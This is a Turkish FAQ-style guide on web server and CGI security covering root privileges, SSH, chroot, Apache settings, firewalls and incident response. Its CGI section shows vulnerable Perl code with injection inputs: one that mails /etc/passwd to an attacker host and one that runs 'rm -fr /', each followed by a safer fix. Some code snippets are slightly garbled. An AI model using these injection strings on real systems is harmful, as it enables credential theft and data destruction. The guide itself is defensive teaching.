|
Web Sitesi ve CGI Uygulamalarının Güvenliği
Çok karşılaşılan bir durum: sitenizi geliştirirken, veritabanlarından
bilgi alma, onlara yazma gibi gereksinimleriniz doğdu. Bunun için de CGI
uygulamalarınızı yazdınız. Ve bir gün Web sunucusuna bağlanmaya çalıştığınızda
makineye birilerinin girdiğini, "kötü birşeyler" yaptığını
farkettiniz.
Bu bir senaryodan çok, sıkça karşılaşılan bir durumdur. Bir bilgisayarın
güvenlik riskleri fişi takıldığı andan itibaren başladığı halde, güvenlik
hala ihmal edilmektedir. Bunun birkaç sebebini saymak gerekirse:
- Yetersiz bilgi
- Makinenin kırılamaz
olduğunu varsayma
- Hiç kimsenin sizin
sunucunuzla uğraşmaya tenezzül etmeyeceği düşüncesi
- Programları yazarken
yeterlice sınamama
- Tembellik
Güvenlik deliklerinin başlıca sebepleri:
Bütün bilgisayarların ve programların insan elinden çıktığı düşünülürse,
onlara zorla girebilecek başka kişilerin varolması da çok normaldir. Web
sunucuları gibi çoklu kullanıcı ve dış dünyaya açık olması zorunlu
sistemlerdeyse bu risk katlanmaktadır. Genel olarak bir Web sunucusunun
güvenlik açıklarının sebepleri şunlardan bir kısmı veya hepsidir:
- Karşı uç
- Kullanıcı verileri
- Web sunucusu
- Web tarayıcısı
- CGI, ya da genel
olarak sunucu tarafı çalışan programlar ve onların çağırdığı programlar
Karşı uç: Hattı dinleyen, sistemdeki açıkları taratan bir saldırgan da
olabilir, virüs gibi sisteme istenmeden yerleşen bir program da.
Kullanıcı verileri: İstemciden aldığınız veriler; bu verileri her ne
şekilde işlerseniz işleyin, bir kontrolden geçirmek faydalı olacaktır.
Web sunucusu: Kullanılan Web sunucusunun çeşitli açıkları biliniyor
olabilir. Güvenlik sitelerinde araştırma yaparak, kullandığınız sunucu
sürümüne özel, ya da eski sürümlerde olup, sizdeki sürümde hala kapatılmamış
açıkların bir listesini çıkarmanız faydalı olacaktır.
Web tarayıcısı: 2. maddeyle birleşik düşünülebilir. Güvenliğiniz,
kullanıcıdan gelen verileri doğrulamak için istemci tarafı tekniklere (ör.
JavaScript'le form doğrulama) dayandırılmamalıdır.
CGI, sunucu tarafı programlar: Web sunucunuz, CGI programlarıyla saldırıya
daha açık hale gelebilir, ancak bu her zaman daha güvensiz olacaktır
şeklinde de yorumlanmamalıdır.
Sıkça sorulan sorular:
Soru:
Hangi işletim sistemi daha güvenlidir?
Cevap:
Her işletim sisteminin kendine has güvenlik delikleri vardır. Ancak bunların
bir kısmı acemi saldırganlara kolay geçit vermezken, bazıları her gelene
kapıyı açabilirler. Sitenizi tasarlarken eğer herşeyden önce güvenliği ön
plana alıyorsanız, Unix türevi bir işletim sistemi (ancak hepsi değil)
kullanmanız yerinde olacaktır. Örneğin, FreeBSD geliştirilirken çok güvenli
bir Internet sunucusu olarak tasarlanmıştır. Ancak, Linux, Solaris, HP-UX
gibi sistemler de bu iş için çok uygundur. Windows 95/98 gibi son kullanıcıyı
hedef alan işletim sistemleriyse asla ciddi bir alternatif olarak
görülmemelidir. Windows NT'yse paketten çıktığı haliyle pek güvenli değildir,
ve güvenli hale getirilmesi için biraz uğraşılması gerekir.
Soru:
Web sunucusunu root olarak çalıştırmanın yanlış olduğunu duydum, bu doğru
mu?
Cevap:
Unix işletim sisteminde 1024'den küçük bir port'u dinlemek için, root
erişim haklarına sahip olmak gerekir. Birçok sunucu, ilk açılış esnasında
root olarak çalışır, ancak daha sonra 'effective uid'sini çok kısıtlı hakları
olan nobody gibi bir kullanıcıya çevirir. Bu haliyle birçok sunucuda (ör.
kaynak kodu açık olan Apache'de) bir güvenlik deliği görünmemektedir, ve bu
haliyle bu sistem iyi çalışmaktadır. Ancak yine de nobody kullanıcısının
sistemi kullanarak e-posta gönderme (sistemdeki /etc/passwd dosyası gibi)
gibi hakları vardır. Ancak buradaki sorunun kaynağı kullanıcının kimliği
değil, çalıştırılan CGI (genel olarak sunucu tarafı çalışan her tür dil, ASP,
Perl, C, PHP vb) uygulamalarıdır denebilir.
Bu soruyla asıl olarak kastedilense, sunucunun çalıştıktan sonra da root
uid'sini kullanması, ve örneğin CGI'ların root haklarına sahip olarak
çalışmasıdır ki, bu gerçekten açılabilecek en büyük deliklerden biridir.
Windows sistemlerindeyse, sıradan bir kullanıcı bile 80. port'u
dinleyebildiği için, IIS (3 ve 4 sürümlerinde) sunucunuzu göçerterek yerine
kendi istediği bir programı çalıştırabilir, ve sitenizi ziyaret edenler, Web
sayfalarınız yerine saldırganın istediği herhangi bir çıktıyı görebilirler.
Soru:
SSH nedir?
Cevap:
SSH, Secure Shell'in kısaltmasıdır ve şifrelenmiş telnet diyebileceğimiz bir
bağlantı sağlar. Bir SSH programıyla karşı tarafa bağlandığınızda, karşı
makineyle bir anahtar değişimi yaparsınız. Bu anahtarlarla, karşı tarafa
göndereceğiniz bilgiyi şifreleyebilir ancak açamazsınız. Aynı şekilde,
karşıdaki makineden size gelen bilgiler de sizin gönderdiğiniz anahtarla
şifrelenir, ama yalnız sizin özel anahtarınızla açılabilir. Dolayısıyla,
hattı dinleyerek paketleri inceleyen biri olsa bile, giden mesajları
çözemeyeceği için iletişim güvenli olacaktır.
Soru:
Chroot ortamı nedir?
Cevap:
Unix sistemlerinde Chroot (Change root) komutuyla Web sunucuyu
"güvenli bir kutu" içinde çalıştırabilirsiniz. Chroot ortamında,
sunucu Web sayfalarının durduğu dizin dışında, dosya sisteminde hiçbir
dizini göremez. Ancak sunucunun bu ortamda çalışabilmesi için de, işletim
sisteminin mini bir kopyası bu dizinin içinde durmalıdır. Böyle bir mini
işletim sistemi kurmak da gerçekten zordur. Böyle bir ortam kurulduğu zaman
ise, CGI programlarının çalıştırılması zorlaşır, çünkü derlenmiş ya da
yorumlanan dillerin bu mini işletim sistemine konulması imkansız gibidir.
Konulması zorunluysa, chroot ortamı kullanmanın anlamı ortadan kalkacaktır.
Soru:
Sunucunun üstünde zaten çok fazla veri yok. Bir saldırgan girse ne olur ki?
Cevap:
Bir saldırgan yerel ağınıza girdiğinde, ağı dinleyen bir program çalıştırarak
(ör. snoop Solaris'lerde hazır olarak gelmektedir), ağ üzerinden
şifrelenmemiş olarak giden tüm paketleri dinleyebilir, şifrelerinizi ve
hassas verilerinizi öğrenebilir. Bu tip programlara genel olarak sniffer
(~koklayıcı) denir ve Internet üzerinde 10'larca türevi vardır.
Ağ üzerindeki sniffer'ları tespit edebilen bazı sistem yönetim programları
da vardır. Ancak bunun bir tespit yöntemi de, yoğun trafiği olan ancak kabul
edilebilir hızda çalışan bir ağda, sniffer çalıştırıldığı zaman ağ
performansın hissedilir olarak düşmesidir.
Her ihtimale karşı yerel ağda bile çalışırken, SSH gibi programlar
kullanılmalıdır.
Soru:
Siteme bir ziyaretçi defteri (guestbook), sayaç vb eklemek istiyorum, güvenli
midir?
Cevap:
Ziyaretçi defterlerinin çoğu basit programlardır ve birçoğunun hatalar
içerdiği bilinmektedir. Bu tip programların hemen hepsi diske yazma, diskten
okuma işlemleri yaptığı için potansiyel tehlike arzederler. Ayrıca, HTML kodlarının
ayıklanmaması da, sayfanızda istenmeyen görüntüler yaratabilir.
Sayaçlar da benzer şekilde disk üzerinde okuma ve yazma işlemleri
yaptıkları için potansiyel tehlikeli sınıfına girerler. Ayrıca, ziyaretçi
defterleri de sayaçlar da genel olarak zaten pek işe yaramayan programlardır,
ve sitenin kullanım değerini arttırmazlar. Özellikle bedava sayaç veren
sitelerden alınanlar da, siteye bağlantı hızını düşürebilirler.
Prensip olarak bilmediğiniz bir programı kullanmaya başlamadan önce,
şunları bir gözden geçirin:
- Aynı programı
kullanan diğer kişilerin tecrübeleri
- Programın kaynak
kodu elinizdeyse, disk erişimi, ağ erişimi yapıp yapmadığı, ve socket
kullanıp kullanmadığı
- Kritik
değişkenlerin, özellikle de istemci tarafından gelen veri ya da istek
dolayısıyla ortama eklenen değişkenlerde buffer overflow (tampon
taşması) olup olmayacağı
- Programın truva atı
çalıştırıp çalıştırmadığı
- Programın yetmesi
gereken haklardan fazlasını (ör. bir ziyaretçi programı root olarak
kurmanızı istiyorsa şüphelenmek gerekir) isteyip istemediği
Soru:
HTML formlarında POST yerine GET kullanmanın daha güvenli olduğunu duydum. Bu
nasıl olur?
Cevap:
Aslında burada kastedilen GET'in daha güvenli olduğu değildir. POST metoduyla
gönderilen veriler, sunucunun kayıt dosyalarında görünmezken, GET metodunda
kayıtlara geçerler. Dolayısıyla CGI'ınıza kuraldışı parametreler göndermeye
çalışan saldırganların tüm hareketleri sizde kayıtlı olacaktır.
Soru:
AUP nedir?
Cevap:
Acceptable Use Policy - Kabul edilebilir kullanım politikası. Sistemi kullanan
kişilerin, ağ üzerinde nasıl davranmaları gerektiği, hangi tip programları
çalıştırabilecekleri, hangilerini çalıştırmamaları gerektiği vb bilgilerin
bulunduğu bir belgedir. Mutlaka kullanıcılarınızdan, sisteme girmelerinden
önce böyle bir belgeyi kabul ettiklerini onaylamalarını isteyiniz.
Web sunucularında, AUP'nin yeriyse daha çok sitenize içerik hazırlayan
kişilerin kabul etmesi amaçlıdır. Web sitenizin durduğu makineyi kullanan
kişilere güvenlik politikanızı açıklayan bir belge hazırlayınız.
Soru:
CGI programlarımda neye dikkat etmeliyim?
Cevap:
- Asla, asla ve asla,
kullanıcıdan aldığınız verileri bir komut satırına parametre olarak bile
göndermeyin. Bu maddeyi hiç aklınızdan çıkarmadığınız zaman, en büyük
açıklardan birini kapatırsınız.
- 1. maddeyi
uygulayamamanız halinde, kabuk metakarakterlerini (shell metacharacters,
ör. &;<>|* vb) karakterleri mutlaka kontrol ediniz. Bazı
örnekler vermek gerekirse:
- Kullanıcının
verdiği bir adrese e-posta göndermek için şu Perl kodu yazılmış olsun:
|
$eadres = &getadres;
open(EPOSTA, "| /var/lib/sendmail $eadres);
print EPOSTA, "To: $eadresnFrom:
ulakbim@ulakbim.gov.trnn
Teşekkürlern";
close EPOSTA;
|
- Bu durumda bir
saldırgan, şu şekilde bir e-posta adresi vererek makinenizdeki şifre
dosyasını ele geçirebilir:
hickimse@hicbiryer; mail saldirgan@kotu.yer < /etc/passwd
Daha iyi bir yol şu olabilir:
|
$eadres = &getadres;
open(EPOSTA, "| /var/lib/sendmail -t);
print EPOSTA<
To: $eadres
From: ulakbim@ulakbim.gov.tr
Subject: Teşekkürler
...
POSTASONU
close EPOSTA;
|
- Bir başka örnek
vermek gerekirse, kullanıcıdan aldığınız kelimeleri sıralamanız
gerekiyor ve şu Perl kodu kullanılmış:
|
system "/bin/sort < &veri_al";
|
Bu satır, Perl'in bir kabuk açarak, sort programını çağırmasını sağlar.
Ancak, veri_al fonksiyonundan gelen verilerde verilecek metakarakterler
kabuk tarafından işleme konacaktır: ör. "1 3 2>/dev/null; rm
-fr /" (saldırgan dosyaları CGI'ın çalıştığı kullanıcı olarak
silebilir de silemeyebilir de, ancak deneyebileceği ilk şey olabilir).
Bunun yerine daha iyi bir yöntem şudur:
|
system "/bin/sort", &veri_al;
|
Bu yöntemde, Perl bir kabuk açmadan parametreleri doğrudan işletim
sistemine gönderir ve dolayısıyla metakarakterler bir sorun olmazlar.
- Yine kullanıcıdan
aldığınız verileri, parametre olarak göndermek zorundaysanız, aldığınız
veriyi beklediğiniz veriyle karşılaştırın. Bu karşılaştırma işleminde,
istenmedik karakterleri atmak yerine (ki istenmeyen çok geniş bir
kavramdır), tam olarak istediğiniz veriyle karşılaştırma yapın.
- Örneğin,
kullanıcıdan bir e-posta adresi bekliyorsanız şu kodu
kullanabilirsiniz:
|
$eposta = &veri_al;
die "Verdiğiniz adres isim@kurum.com biçiminde değil"
unless (
$eposta =~ /^[w.+-]+@[w.+-]+$/;
# bu regexp sadece eposta adreslerini eşler
|
- Bu durumları
uyarmanın bir yöntemi de, Perl'de bulunan tainting (lekelemek)
mekanizmasını kullanmaktır. Bunu yapmak için CGI programınızın başına
"#!/usr/bin/perl -T" gibi bir satır eklemelisiniz. -T
seçeneğini verdiğiniz zaman Perl, tainted (programın dışından alınan,
ör. ortamdan alınan, standart girdiden ya da komut satırından alınan)
değişkenleri system(), exec(), (|'la kullanırsanız) open() ve eval()
komutlarında kullanmanıza izin vermez. Ayrıca tainted değişkenlerden
türettiğiniz bütün değişkenler de otomatik olarak tainted olurlar.
Tainted bir değişkeni untainted (lekelenmemiş) bir değişken haline ancak
Perl'ün karakter eşleme metodlarından biriyle, ör. =~, çevirebilirsiniz.
- Özellikle,
yorumlanan dillerle yazdığınız CGI'larda çağırdığınız programların
dizinlerini açık olarak veriniz, ör. ls yerine /bin/ls gibi.
- CGI programlarınızı
tamamen yetkisiz bir kullanıcı hesabında çalıştırınız, ör. nobody. Bu
şekilde CGI'ınızdaki bir hata nedeniyle, saldırganlar CGI'ın çalıştığı
hesaba erişim hakkı kazansa bile, sisteme hemen zarar veremez.
- Perl
kullanıyorsanız, cgi-lib.pm gibi güvenilirliğini kanıtlamış bir modül
kullanınız. Not: PHP, klasik anlamda CGI (harici çalıştırılabilir
şeklinde, ör. /usr/local/bin/php gibi fiziksel bir program) olarak şu an
için pek sağlıklı çalışmasa da, Apache modülü olarak (ör. mod_php.so vb)
gayet iyi çalışmakta, ve Perl'de hazır gelmeyen CGI işlevlerini hazır
olarak sunmaktadır.
- Siteniz CGI
programları tarafından üretiliyorsa, CGI programlarınızın gelişmiş hata
kontrolleri yaptığından ve bunların kayıtlarını tuttuğundan emin olun.
Mümkünse bu program, kayıtlarını otomatik olarak e-postayla başka bir
makinedeki sistem yöneticisine göndermelidir.
Soru:
Makineyi kırılması imkansız hale nasıl getirebilirim?
Cevap:
Makinenizi kapalı tutunuz. Kırılması imkansız bir sistem yoktur.
Soru:
Özel olarak Apache için neler yapabilirim?
Cevap:
Apache, genel olarak güvenli bir sunucudur, ancak yanlış ayarları
sunucunun farketmesi ve sizi uyarması imkansızdır. Yine de bazı ayarları
değiştirerek sistemi daha da güvenli yapabilirsiniz.
- Öncelikle sembolik
link'lerin takibini (Option FollowSymLinks) kapatınız (bir yolu
"Option SymLinksIfOwnerMatch" demektir). Bu her ne kadar
sunucunun performasını düşürse de, sistemdeki bir kullanıcı gizlice bir
dizinden /etc gibi kritik bir dizine sembolik link verebilir.
- Ayrıca, dizinlerin
otomatik listelenmesini (Option Indexes) iptal edebilirsiniz (Option
None). Bir saldırgan sisteminizde bulunan yedek dosyalarını, kendinize
kolaylık amacıyla oluşturduğunuz ama silmeyi unuttuğunuz sembolik
bağları, geçici oluşturulan dosyaları, CVS dosyalarını, sitenizin iç
yapısını göremezse, içeri girmesi de zor olur.
- Sunucu hakkında
bilgi almak için kullanılan, /server-info ve /server-status
programcıklarını sadece IP adreslerine erişilir kılmalısınız.
- Harici bir modül
olan mod_disallow_id'yle (Apache sitesinde contributed modules altında
bulabilirsiniz) belli kullanıcılara, ör. root, sys, daemon veya bin'e
dosyaların Web sunucu tarafından hiç okunamamasını, dolayısıyla
çalıştırılmamasını da sağlayabilirsiniz.
- Son olarak da, CGI
programlarınızı mutlaka merkezi bir yerde tutunuz ve bu dizine yazma
hakkını kısıtlayınız. İşleri kolaylaştırıyor görünen .cgi uzantılı
dosyaları nerede görürsen gör çalıştır seçeneğini aktif (yani:
AddHandler cgi-script .cgi) hale getirmeyiniz.
- Apache'yi suExec
özelliğini kullanacak şekilde derleyebilirsiniz. suExec, CGI
programlarını Web sunucunun çalıştığı hesaptan başka bir hesapta da
çalıştırabilir, ör. Web sunucunuzu nobody, CGI programlarini cgiuser
gibi bir hesapta çalıştırabilirsiniz.
- Apache'yle birlikte
gelen CGI script'lerinin (ör. printenv) ismini değiştiriniz ya da
çalıştırma hakkını iptal ediniz.
Soru:
Firewall nedir?
Cevap:
Bir firewall programı, yerel ağla dış dünyayı birbirinden soyutlayarak, iki
taraf arasındaki trafiği kısıtlayabilir. Örneğin, firewall'ın içinden (yerel
ağ) dışarıya FTP izni verebilir, ama dışarıdan (dünya) içeriye FTP
yapılmasını engelleyebilirsiniz. Bir firewall kurmak, güvenliği sağlamanın en
temel adımlarından biridir. Firewall'unuzu kurduktan sonra, sistem
yöneticisi, kullanılması zorunlu port'lar (örneğin, Web için 80, FTP için 21,
SSH için 22 vb) dışında her port'u dış dünyaya kapatmalıdır.
Soru:
Peki, Web sitemi firewall'un içine mi dışına mı koymalıyım?
Cevap:
Aslında tersi durum da tercih edilebilmesine rağmen, iyi bir çözüm dışına
koymaktır. Bu durumda, sunucu firewall'un koruduğu dışarıdan her türlü
saldırıya açık olacaktır, ancak sunucuya zorla girilmesi halinde,
saldırganlar firewall'un içine girmemiş olacaklardır (sunucunun firewall
içinde kalması durumunda, saldırganlar firewall'u aştıkları için yerel ağ
üzerinde - büyük ihtimalle - rahatça dolaşacaklardır). Böyle bir kurulum
tercih edildiği takdirde (sunucu bir nevi 'kurbanlık koyun' gibi olacaktır)
unutulmaması gereken birkaç husus da şunlardır:
- Sunucunun root/admin
şifresini başka hiçbir makinede kullandığınız root şifresiyle aynı
yapmayınız. Sunucunuza zorla giren kişiler, aynı şifreyi diğer
makinelerde de deneyeceklerdir.
- Benzer şekilde,
sunucuda başka kullanıcı hesapları açacaksanız, iç sitenizde
kullanılmayan şifreler belirleyerek, bunların değiştirilmemesini, hatta
mümkünse erişimin bir paketleyici (wrapper, ör. Web tabanlı bir erişim
programı) tarafından yapılarak, bu şifrenin iç kullanıcılar tarafından
bile öğrenilmemesini sağlayın.
- Veritabanı kopyalama
(replication), dizin senkronizasyonu gibi işlemleri sunucudan firewall
içine bir trafikle değil, firewall içinden sunucuya doğru bir trafikle
yapınız.
- Mümkünse firewall
içinden sunucuya paylaştırdığınız dizinlere sadece okuma izni veriniz.
Soru:
Aynı makinede hem Web hem de FTP servislerini çalıştırıyoruz. FTP ve Web
servislerinin kök dizinlerini aynı yapmak bir güvenlik açığı getirir mi?
Cevap:
Bu sık yapılan bir uygulamadır, ve uzaktan yüklenen dosyalar doğrudan
çalıştırılmadığı sürece herhangi bir sorun olmaz. Ancak, bir saldırgan
uzaktan yüklediği bir CGI programını çalıştırabilirse, sisteminize zarar
verebilir. Böyle bir makinede, uzaktan yüklenen dosyaları okunur
yapmamalısınız. Birçok FTP sitesindeki "incoming" dizini yazmaya
açık, listeleme ve okumaya kapalıdır. Siz de bu yolu tercih etmelisiniz.
Soru:
Sunucuya birisinin girdiğini farkettik, ne yapmalıyız?
Cevap:
Öncelikle paniğe kapılmayın ve sakın makineyi bir anda kapatmayın. Önce
saldırganın o anda ne yapmakta olduğunu tespit etmeye çalışın ve sanki
haberiniz yokmuş gibi davranın. Bu arada root hesabında çalışıyorsanız,
tanımadığınız komutları yanlışlıkla da olsa çalıştırmamak için, sisteme
normal bir kullanıcı olarak girin. Bu programlar root haklarında çalışırsa,
kendi elinizle sisteme zarar vermiş olursunuz. Makinedeki önemli kayıt
dosyalarının (syslog, sulog vb) ve listelerin (last|more>last.out,
ps-ef>ps.out vb) hemen bir kopyasını e-posta, scp gibi bir yöntemle başka
bir makineye atın.
Makinenizi tek kullanıcı modunda (single user mode, genellikle "init
s" gibi bir komutla) açın. Öncelikle sisteme en son eklenen, ya da
değiştirilen dosyaların listesini çıkartın ve setuid biti açık programlara ya
da yukarıda aldığınız kayıtlardan bu programların aldığı dosya parametrelerine
bakınız. Kullanıcının sisteme girdiği IP adresini kayıtlardan bulmaya
çalışarak, makinenin kaynağı olan yeri bulmanız da işe yarayabilir. Bu
şekilde, karşı tarafın sistem yöneticisine bir e-posta atarak durumu
bildirebilirsiniz. Ayrıca kayıtları inceleyerek olağan olmayan durumları
araştırınız. Birçok saldırgan, bir programa belli parametreler göndererek,
onu önce şişmeye zorlarlar (genellikle buffer overflow şeklinde olur) sonra
da makineye root erişimi kazanırlar. Bu şekilde bir program bulursanız, o
servisi önce iptal ediniz, daha sonra başka bir makineden Internet'e
bağlanarak saldırganın kullandığı metodları tespit etmeye çalışınız.
Saldırganın kullandığı metodu bulursanız, bu açıkları kapatmanız da daha
kolay olacaktır. Sisteminizde bir hasar tespit edebilirseniz, yedeklerinizden
sistemi eski haline getiriniz. Daha sonra sunucuyu dış dünyaya tekrar açmadan
önce, yedeklediğiniz dosyalardaki (ör. CGI programları, yanlış ayarlar)
hataları da düzeltmeyi unutmayınız.
Not: Yukarıda bahsedilen yöntem, sistem yöneticisinden yöneticiye
değişebilir. Bu sadece örnek bir uygulamadır ve fikir vermek amacıyla
yazılmıştır.
Soru:
Başka neler yapabilirim?
Cevap:
Aşağıdaki maddelerin uygulanması, güvenlik deliklerini kapatmamakla
beraber, bir felaket durumunda sistemin kurtarılmasını, sorumlunun
bulunmasını, ya da olası güvenlik problemleri olan servislerin iptal
edilmesini sağlarlar.
- Öncelikle, sistemin
dönüşümlü yedeğini alınız. Bir göçme durumunda yedekler çok işinize
yarayacaktır. Firewall olan bir ortamda, yedekleri içerideki bir
makineden, dışarıdaki sunucuya güvenli bir yolla (Unix NFS ve Windows
File Sharing çok güvenli metodlar değildir, özelleşmiş metodlar, örneğin
tar/scp ikilisi, daha güvenli olabilir) bağlanarak alınız. Tersini
(dışarıdaki Web sunucusundan içerideki bir makinenin diskine yazmaya
çalışarak) asla yapmayınız.
- Web sunucunuzu
mümkünse, başka servislerin çalışmadığı, üzerinde kullanıcıların
tanımlanmadığı bir makineye taşıyınız.
- Yerel ağınızda bir
SSH paketi kullanınız. Bu programlarla yerel ağ üzerinden akan tüm
trafik kırılması yüzyıllar alacak şekilde şifrelenmektedir. SSH'ın
avantajı, Web sunucunuza bağlanmak zorunda kalan kişilerin, makineye
gizlice girmiş bir saldırgana şifrelerini kolayca kaptırmamalarını
sağlar.
- Web sunucunuzda, grafik
arabirim (Unix'deki Window Manager kavramı) vb gereksiz özellikleri
kapatınız (Windows'da bu mümkün değildir). Ayrıca makine üzerindeki tüm
gereksiz servisleri kapatınız. Örneğin, Unix'de RPC, NFS server, finger,
rlogin gibi servislerin güvenlik delikleri bilinmektedir. Hatta,
sendmail, inetd gibi programları daha güvenli "olan" qmail,
xinetd gibi programlarla değiştiriniz. Not: Windows 2000'de bu iş
imkansız gibidir.
- Makinenize gelen tüm
servis isteklerinin bir kaydını alınız. Örneğin tcp wrapper programı
(xinetd içinde bu destek de vardır) bu işi çok iyi yapmaktadırlar.
- Web sunucunuzun
kayıtlarını düzenli olarak inceleyiniz, ve hatta bir kayıt analiz
programı kullanabilirsiniz. Mümkünse bu kayıtları da düzenli olarak
yedekleyiniz.
- Makinenize DoS (Denial
of Service) saldırılarını engelleyiniz. DoS, bir saldırının adı değil,
bir saldırı biçimidir, ve birden çok yöntemi vardır. Örneğin ping
paketleriyle bombardıman yaparak makinenin dış dünyaya cevap veremez
hale getirilmesi ya da Web sunucusundan 10000 karakterden oluşan bir
adres istenerek sunucunun kilitlenmesi, DoS saldırılarıdır. Yapılan
saldırının türüne göre farklı önlemler vardır.
- Güvenli bir Web
sunucusu için SSH ve HTTP servisleri yetmektedir. Geri kalan tüm
servisler ekstra ihtiyaçlarınız için açılmaktadır, ancak bir sitenin
vermesi gereken minimum servisi etkilemezler.
- Şifrelerinizi
düzenli olarak değiştiriniz. Bu yolla, şifreniz bir kere öğrenilmiş bile
olsa, öğrenen kişi bu şifreyi sisteminize girmek için tekrar kullanamaz.
Ayrıca, kritik makinelerinizin şifrelerini asla aynı yapmayınız, herbiri
için ayrı şifreler kullanınız.
- Ağ monitörleme ve
sniffer programlarını tespit eden programları kullanınız.
- Genel olarak
saldırganlar, bir makineye girdikten sonra, tekrar girebilmeleri için
kendilerinin bildiği açık kapılar bırakırlar. Sistemde çalıştıracağınız
bir programla, sistemdeki kritik yerlerdeki (örneğin /sbin, /etc,
/usr/local vb) dosyaların tarihlerinin değişip değişmediğini,
eklenen/silinen programların ve dosyaların listesini, ya da dosyaların
içindeki değişiklikleri kontrol etmelisiniz. Bu tip programlara genel
olarak intrusion detection programları adı verilir
- Server Side Include
(Sunucu tarafı ekleme) kullanıyorsanız, Exec komutunu kapatınız. Apache
için bunu istediğiniz yerler için Option IncludesNoExec yönergesiyle
yapabilirsiniz.
- CGI programlarınıza
bir paketleyici yazarak, CGI'larınızı önce ona havale eder ve alt
CGI'ları onun üstünden çağırabilirsiniz. Bunun iki avantajı vardır:
- Alt programlara
gerekli bilgileri devretmeden önce bir güvenlik kontrolü
yapabilirsiniz.
- Alt programlarda,
kendisini çağırması gereken program olarak paketleyici programı
gösterirseniz, saldırganlarınızın sitenize (bir şekilde) yüklediği bir
programı rastgele bir biçimde çalıştırmasını engelleyebilirsiniz.
Bu metodun bir benzerini kullanan çeşitli CGI wrapper'lar
mevcuttur, ör. yukarıda da bahsedilen Apache suExec, ya da cgiwrap, sbox
paketleyicileri.
Ayrıca bakınız:
CGI
Uygulamaları
|
0 yorum yazılmıştır